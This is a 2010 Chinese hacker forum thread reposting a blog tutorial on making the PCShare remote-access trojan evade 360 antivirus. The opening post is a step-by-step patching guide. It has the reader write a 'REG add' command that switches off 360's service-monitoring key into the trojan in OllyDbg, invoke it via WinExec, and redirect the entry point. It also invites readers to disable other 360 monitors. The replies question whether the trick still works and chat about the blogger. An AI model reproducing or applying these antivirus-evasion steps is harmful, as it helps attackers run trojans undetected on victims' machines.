几个月前失色blog，PCSHARE免杀过360服务项监控

显示全部楼层 · 发表于 2010-11-13 13:13:18

本帖最后由帅就是帅于 2010-11-13 13:33 编辑

小白一个，我更关心失色是否真的存在

============================
ASM汇编
这个是最舒服的，用OD打开已经配置好的马，找0区（也可以用TOPO加空段）要很大一片哦！右击，选择“二进制”→“编辑”，在ASCII中输入“Cmd /c REG add HKLM\SOFTWARE\360Safe\safemon /v MonAccess /t REG_DWORD /d 0 /f”记下写入命令的改动的第一个地址，假设为401180。
再找一个小空段，记下地址，假设为40116A
写入：
Push 401180 (也就是那个改动的地址)
Call WinExec
Jmp 原程序入口点（在OD右边窗口的EIP后面可以看到）
打开OC把40116A转换为文件偏移0000056A
再用PEditor打开，把原入口点改为0000056A
这样一个过360服务监控的木马就诞生了。
（大家完全可以按照加花的步骤来写，就是命令不同而已）
大家也可以禁用其他360的监控项目，即使加个花都没问题，随便大家发挥了
==============================
就算是真的，现在应该能防了吧。。。。。感觉失色像男的。。。。。
http://shisehacker.blog.163.com/blog/static/16761452220106171225916/

显示全部楼层 · 发表于 2010-11-13 13:21:59

坐等官人，LX的解释

显示全部楼层 · 发表于 2010-11-13 13:30:35

失色只是一个代言人而以，自已也懂一些，就像破解软件，有些很大部份，是故意放出，自己破自己，有些接口，没有渠道你是不知道地！

显示全部楼层 · 发表于 2010-11-13 15:36:50

回复 1楼帅就是帅的帖子

那个妹妹长得很不错啊!!

显示全部楼层 · 发表于 2010-11-13 15:40:14

回复 4楼星空下的吻的帖子

太非了

显示全部楼层 · 发表于 2010-11-13 15:42:41

回复 5楼帅就是帅的帖子

这个......

显示全部楼层 · 发表于 2010-11-13 15:50:14

确实很美!

显示全部楼层 · 发表于 2010-11-13 17:31:24

看了下，7月份的，现在应该不有效了吧

显示全部楼层 · 发表于 2010-11-13 20:57:20

看到这个我想起了一个人。。。

显示全部楼层 · 发表于 2010-11-13 23:12:22

年轻有为有钱的女黑客啊。。？？
话说7月份这么简单就干掉了？？

[转帖] 几个月前失色blog，PCSHARE免杀过360服务项监控